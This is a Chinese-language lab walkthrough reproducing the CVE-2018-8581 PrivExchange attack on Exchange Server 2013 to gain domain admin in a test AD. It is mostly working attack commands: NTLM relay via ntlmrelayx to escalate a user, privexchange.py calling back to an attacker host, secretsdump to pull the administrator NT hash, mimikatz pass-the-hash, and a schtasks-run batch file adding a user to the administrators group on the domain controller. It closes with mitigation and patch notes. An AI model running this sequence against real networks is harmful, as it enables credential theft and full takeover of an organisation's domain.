概述
微软 Exchange Server于2018年11月份被爆出存在S.S.R.F漏洞,漏洞编号为:CVE-2018-8581,此漏洞微软已推出缓解措施,但是在1月22日又爆出了此漏洞的另一种方法,而利用这种新的方法将为AD带来严重的安全风险,此漏洞在实施微软的缓解措施之后,仍然会被成功attack。
本文将在以下环境中进行模拟演练:
1.Exchange2013 CU19(已实施微软推出的缓解措施,即删除相应注册表键值)
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581
2.其他信息:
Attack主机:192.168.137.101(Centos7)
AD:DC01.contoso.com(WinServer2012R2,已打全Windows补丁)
Exchange Server:mail.contoso.com(一台CAS Server,一台Mailbox Server,版本为CU19)
测试目标:
将普通用户提升至域管理员权限,以完成控制整个AD的目标。
环境准备
GitHub:
https://github.com/dirkjanm/PrivExchange
privexchange.py
此工具只需登录Exchange Web服务即可订阅推送通知。这将使Exchange连接回您并作为系统进行身份验证。
httpattack.py
attack模块,可与ntlmrelayx.py一起使用,无需凭据即可执行attack。
为了让它运作:
从GitHub克隆一下 git clone https://github.com/SecureAuthCorp/impacket
将此文件复制到该/impacket/impacket/examples/ntlmrelayx/attacks/目录中。
cd impacket
用pip install . --upgrade或安装修改后的impacket版本pip install -e .
Attack过程
- 使用ntlmrelayx.py脚本建立反射监听服务端。
命令参数:ntlmrelayx.py -t ldap://dc01.contoso.com --escalate-user user01
- attack
使用privexchange.py attack脚本,完成提权。
命令参数:python privexchange.py -ah 192.168.137.101 mail.contoso.com -u user01 -d contoso.com
当出现以下信息,即表示已经成功完成***:
INFO: Using attacker URL: http://192.168.137.101/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
- 反射信息
我们回到服务器监听会话,可以看到DC01已经开始反射连接我们的服务端,并完成了最后的权限提升。
- 拉取NT HASH
使用secretsdump.py脚本完成NT HASH拉取。
命令参数:secretsdump.py contoso/[email protected] -just-dc
如图,我们已经顺利拉到contoso\administrator的密码HASH,接下来,我们就可以使用HASH传递attack,拿下DC服务器的管理员权限。
- 使用mimikatz.exe实现HASH传递attack
MimiKATZ工具下载地址:
https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20181209/mimikatz_trunk.zip
命令参数(以管理员权限运行):
1. mimikatz.exe
2. privilege::debug
3. sekurlsa::pth /domain:contoso.com /user:administrator /ntlm:72b0f0964c20877dd68d44bd99fbfcf6
我们编写一段添加普通用户到管理员组的Script,并保存为Add_admin.bat
@echo off
net localgroup "administrators" user01 /domain /add
利用特权会话将Script脚本拷贝到远程DC服务器上:
命令参数:copy c:\add_admin.bat \\dc01.contoso.com\c$
- 在DC服务器上远程添加计划任务执行。
命令参数:schtasks /create /s dc01.contoso.com /tn "hacker" /tr "c:\add_admin.bat" /sc ONCE /st 17:09 /u administrator
提示密码的时候,直接回车即可。
查看结果
Script脚本运行后,我们看到User01被添加到了Administrators组,并实现了远程桌面登录。
后记:
测试中发现,要实现此漏洞的利用,还是需要很多必要条件,比如需要拿到一个普通用户邮箱的帐号和密码,需要在内网发起attack等等,但是内网也不是绝对安全的,往往更多的风险,就来自于内部。
对于此漏洞的修补方法,微软还没有给出明确的方案,据说是等2月份才会推出相应的补丁,网上流传的几种方法,比如修改权限模型,SMB通信加密等,这些方法对系统变更都会比较大,特别是在大中型企业里面,这些变更多多少少都会产生不小的影响,比如其他系统的调用,客户端弹窗的出现等等,看大家按需选择,我个人建议加强内部监控,建立相关的一些策略加强内部安全,然后等微软的正式补丁。
请及时关注微软的补丁发补情况:
https://portal.msrc.microsoft.com/en-US/security-guidance
微软已于2019.2.12日推出CU22累积安全更新,此更新修复了此漏洞。
请参考:
https://support.microsoft.com/zh-cn/help/4345836/cumulative-update-22-for-exchange-server-2013